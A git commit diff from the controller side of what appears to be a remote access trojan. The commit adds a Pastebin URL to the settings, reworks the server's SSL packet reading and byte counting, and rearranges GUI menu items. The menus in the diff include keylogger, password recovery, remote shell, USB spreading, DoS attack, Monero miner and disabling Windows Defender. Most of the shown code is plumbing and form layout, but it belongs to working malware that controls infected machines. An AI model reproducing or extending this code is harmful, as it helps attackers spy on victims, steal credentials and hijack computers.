This commit is contained in:
NYAN CAT 2019-12-01 06:43:06 +03:00
parent 154f4b4123
commit 83fcab04fb
17 changed files with 232 additions and 149 deletions

View File

@ -24,7 +24,7 @@
<value /> <value />
</setting> </setting>
<setting name="Pastebin" serializeAs="String"> <setting name="Pastebin" serializeAs="String">
<value /> <value>https://pastebin.com/raw/s14cUU5G</value>
</setting> </setting>
<setting name="IP" serializeAs="String"> <setting name="IP" serializeAs="String">
<value /> <value />

View File

@ -23,6 +23,7 @@ namespace Server.Connection
public ListViewItem LV2 { get; set; } public ListViewItem LV2 { get; set; }
public string ID { get; set; } public string ID { get; set; }
private byte[] ClientBuffer { get; set; } private byte[] ClientBuffer { get; set; }
private const int HeaderSize = 4;
private int ClientBuffersize { get; set; } private int ClientBuffersize { get; set; }
private bool ClientBufferRecevied { get; set; } private bool ClientBufferRecevied { get; set; }
private MemoryStream ClientMS { get; set; } private MemoryStream ClientMS { get; set; }
@ -42,19 +43,18 @@ namespace Server.Connection
try try
{ {
SslClient.EndAuthenticateAsServer(ar); SslClient.EndAuthenticateAsServer(ar);
ClientBuffer = new byte[4]; ClientBuffer = new byte[HeaderSize];
ClientMS = new MemoryStream(); ClientMS = new MemoryStream();
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
} }
catch catch
{ {
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
} }
} }
public async void ReadClientData(IAsyncResult ar) public void ReadClientData(IAsyncResult ar)
{ {
try try
{ {
@ -68,40 +68,48 @@ namespace Server.Connection
int Recevied = SslClient.EndRead(ar); int Recevied = SslClient.EndRead(ar);
if (Recevied > 0) if (Recevied > 0)
{ {
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); switch (ClientBufferRecevied)
if (!ClientBufferRecevied)
{ {
if (ClientMS.Length == 4) case false:
{
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
ClientMS.Dispose();
ClientMS = new MemoryStream();
if (ClientBuffersize > 0)
{ {
ClientBuffer = new byte[ClientBuffersize]; ClientMS.Write(ClientBuffer, 0, Recevied);
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); if (ClientMS.Length == HeaderSize)
ClientBufferRecevied = true; {
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
ClientMS.Dispose();
ClientMS = new MemoryStream();
if (ClientBuffersize > 0)
{
ClientBuffer = new byte[ClientBuffersize];
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
ClientBufferRecevied = true;
}
}
break;
} }
}
}
else
{
Settings.Received += Recevied;
BytesRecevied += Recevied;
if (ClientMS.Length == ClientBuffersize)
{
ThreadPool.QueueUserWorkItem(new Packet case true:
{ {
client = this, ClientMS.Write(ClientBuffer, 0, Recevied);
data = ClientMS.ToArray(), lock (Settings.LockReceivedSendValue)
}.Read, null); Settings.ReceivedValue += Recevied;
BytesRecevied += Recevied;
if (ClientMS.Length == ClientBuffersize)
{
ClientBuffer = new byte[4]; ThreadPool.QueueUserWorkItem(new Packet
ClientMS.Dispose(); {
ClientMS = new MemoryStream(); client = this,
ClientBufferRecevied = false; data = ClientMS.ToArray(),
} }.Read, null);
ClientBuffer = new byte[HeaderSize];
ClientMS.Dispose();
ClientMS = new MemoryStream();
ClientBufferRecevied = false;
}
break;
}
} }
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
} }
@ -184,7 +192,8 @@ namespace Server.Connection
bytesToRead -= chunkSize; bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length); SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush(); SslClient.Flush();
Settings.Sent += chunk.Length; lock (Settings.LockReceivedSendValue)
Settings.SentValue += chunk.Length;
} while (bytesToRead > 0); } while (bytesToRead > 0);
} }
} }
@ -192,7 +201,8 @@ namespace Server.Connection
{ {
SslClient.Write(buffer, 0, buffer.Length); SslClient.Write(buffer, 0, buffer.Length);
SslClient.Flush(); SslClient.Flush();
Settings.Sent += buffer.Length; lock (Settings.LockReceivedSendValue)
Settings.SentValue += buffer.Length;
} }
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
} }
@ -216,7 +226,7 @@ namespace Server.Connection
msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin))))); msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin)); msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
break; break;
} }
} }

View File

@ -74,6 +74,8 @@
this.chatToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.chatToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.getAdminPrivilegesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.getAdminPrivilegesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.blankScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.blankScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -127,8 +129,6 @@
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
this.TimerTask = new System.Windows.Forms.Timer(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components);
this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuClient.SuspendLayout(); this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout(); this.tabControl1.SuspendLayout();
@ -245,20 +245,20 @@
this.toolStripSeparator5, this.toolStripSeparator5,
this.bUILDERToolStripMenuItem}); this.bUILDERToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1"; this.contextMenuClient.Name = "contextMenuStrip1";
this.contextMenuClient.Size = new System.Drawing.Size(249, 311); this.contextMenuClient.Size = new System.Drawing.Size(203, 278);
// //
// aBOUTToolStripMenuItem // aBOUTToolStripMenuItem
// //
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Text = "ABOUT";
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
// //
// toolStripSeparator2 // toolStripSeparator2
// //
this.toolStripSeparator2.Name = "toolStripSeparator2"; this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(245, 6); this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6);
// //
// sENDFILEToolStripMenuItem // sENDFILEToolStripMenuItem
// //
@ -267,14 +267,14 @@
this.tODISKToolStripMenuItem}); this.tODISKToolStripMenuItem});
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.sENDFILEToolStripMenuItem.Text = "Send File"; this.sENDFILEToolStripMenuItem.Text = "Send File";
// //
// tOMEMORYToolStripMenuItem // tOMEMORYToolStripMenuItem
// //
this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem"; this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem";
this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(206, 34);
this.tOMEMORYToolStripMenuItem.Text = "To Memory"; this.tOMEMORYToolStripMenuItem.Text = "To Memory";
this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click); this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click);
// //
@ -282,7 +282,7 @@
// //
this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem"; this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem";
this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(206, 34);
this.tODISKToolStripMenuItem.Text = "To Disk"; this.tODISKToolStripMenuItem.Text = "To Disk";
this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click); this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click);
// //
@ -298,14 +298,14 @@
this.webcamToolStripMenuItem}); this.webcamToolStripMenuItem});
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.monitoringToolStripMenuItem.Text = "Monitoring"; this.monitoringToolStripMenuItem.Text = "Monitoring";
// //
// remoteDesktopToolStripMenuItem1 // remoteDesktopToolStripMenuItem1
// //
this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop; this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop;
this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1"; this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1";
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop";
this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click); this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click);
// //
@ -313,7 +313,7 @@
// //
this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger;
this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1"; this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1";
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.keyloggerToolStripMenuItem1.Text = "Keylogger"; this.keyloggerToolStripMenuItem1.Text = "Keylogger";
this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click); this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click);
// //
@ -321,7 +321,7 @@
// //
this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key; this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key;
this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1"; this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1";
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery";
this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click); this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click);
// //
@ -329,7 +329,7 @@
// //
this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager; this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager;
this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1"; this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1";
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.fileManagerToolStripMenuItem1.Text = "File Manager"; this.fileManagerToolStripMenuItem1.Text = "File Manager";
this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click); this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click);
// //
@ -337,7 +337,7 @@
// //
this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process; this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process;
this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1"; this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1";
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.processManagerToolStripMenuItem1.Text = "Process Manager"; this.processManagerToolStripMenuItem1.Text = "Process Manager";
this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click); this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click);
// //
@ -348,7 +348,7 @@
this.stopToolStripMenuItem2}); this.stopToolStripMenuItem2});
this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report;
this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem"; this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem";
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
this.reportWindowToolStripMenuItem.Text = "Report Window"; this.reportWindowToolStripMenuItem.Text = "Report Window";
// //
// runToolStripMenuItem1 // runToolStripMenuItem1
@ -369,7 +369,7 @@
// //
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
this.webcamToolStripMenuItem.Text = "Webcam"; this.webcamToolStripMenuItem.Text = "Webcam";
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
// //
@ -385,14 +385,14 @@
this.xMRMinerToolStripMenuItem}); this.xMRMinerToolStripMenuItem});
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
// //
// botsKillerToolStripMenuItem // botsKillerToolStripMenuItem
// //
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Text = "Bots Killer";
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
// //
@ -400,7 +400,7 @@
// //
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
// //
@ -408,7 +408,7 @@
// //
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
// //
@ -416,7 +416,7 @@
// //
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
// //
@ -424,7 +424,7 @@
// //
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
// //
@ -432,7 +432,7 @@
// //
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
// //
@ -443,14 +443,14 @@
this.killToolStripMenuItem}); this.killToolStripMenuItem});
this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr; this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr;
this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem"; this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem";
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.xMRMinerToolStripMenuItem.Text = "XMR Miner"; this.xMRMinerToolStripMenuItem.Text = "XMR Miner";
// //
// runToolStripMenuItem // runToolStripMenuItem
// //
this.runToolStripMenuItem.Image = global::Server.Properties.Resources.play_button; this.runToolStripMenuItem.Image = global::Server.Properties.Resources.play_button;
this.runToolStripMenuItem.Name = "runToolStripMenuItem"; this.runToolStripMenuItem.Name = "runToolStripMenuItem";
this.runToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.runToolStripMenuItem.Size = new System.Drawing.Size(152, 34);
this.runToolStripMenuItem.Text = "Run"; this.runToolStripMenuItem.Text = "Run";
this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click); this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click);
// //
@ -458,7 +458,7 @@
// //
this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_; this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_;
this.killToolStripMenuItem.Name = "killToolStripMenuItem"; this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.killToolStripMenuItem.Size = new System.Drawing.Size(152, 34);
this.killToolStripMenuItem.Text = "Stop"; this.killToolStripMenuItem.Text = "Stop";
this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click); this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click);
// //
@ -473,7 +473,7 @@
this.disableWindowsDefenderToolStripMenuItem}); this.disableWindowsDefenderToolStripMenuItem});
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
this.extraToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.extraToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.extraToolStripMenuItem.Text = "Extra"; this.extraToolStripMenuItem.Text = "Extra";
// //
// visitWebsiteToolStripMenuItem1 // visitWebsiteToolStripMenuItem1
@ -518,6 +518,22 @@
this.blankScreenToolStripMenuItem.Size = new System.Drawing.Size(329, 34); this.blankScreenToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.blankScreenToolStripMenuItem.Text = "Blank Screen"; this.blankScreenToolStripMenuItem.Text = "Blank Screen";
// //
// runToolStripMenuItem2
//
this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button;
this.runToolStripMenuItem2.Name = "runToolStripMenuItem2";
this.runToolStripMenuItem2.Size = new System.Drawing.Size(152, 34);
this.runToolStripMenuItem2.Text = "Run";
this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click);
//
// stopToolStripMenuItem1
//
this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_;
this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1";
this.stopToolStripMenuItem1.Size = new System.Drawing.Size(152, 34);
this.stopToolStripMenuItem1.Text = "Stop";
this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click);
//
// disableWindowsDefenderToolStripMenuItem // disableWindowsDefenderToolStripMenuItem
// //
this.disableWindowsDefenderToolStripMenuItem.Image = global::Server.Properties.Resources.disabled; this.disableWindowsDefenderToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
@ -533,7 +549,7 @@
this.pCToolStripMenuItem}); this.pCToolStripMenuItem});
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.systemToolStripMenuItem.Text = "System"; this.systemToolStripMenuItem.Text = "System";
// //
// clientToolStripMenuItem // clientToolStripMenuItem
@ -547,7 +563,7 @@
this.showFolderToolStripMenuItem}); this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.clientToolStripMenuItem.Text = "Client"; this.clientToolStripMenuItem.Text = "Client";
// //
// closeToolStripMenuItem1 // closeToolStripMenuItem1
@ -598,7 +614,7 @@
this.shutdownToolStripMenuItem1}); this.shutdownToolStripMenuItem1});
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.pCToolStripMenuItem.Text = "PC"; this.pCToolStripMenuItem.Text = "PC";
// //
// logoffToolStripMenuItem1 // logoffToolStripMenuItem1
@ -625,7 +641,7 @@
// toolStripSeparator1 // toolStripSeparator1
// //
this.toolStripSeparator1.Name = "toolStripSeparator1"; this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(245, 6); this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6);
// //
// serverToolStripMenuItem // serverToolStripMenuItem
// //
@ -633,27 +649,27 @@
this.blockClientsToolStripMenuItem}); this.blockClientsToolStripMenuItem});
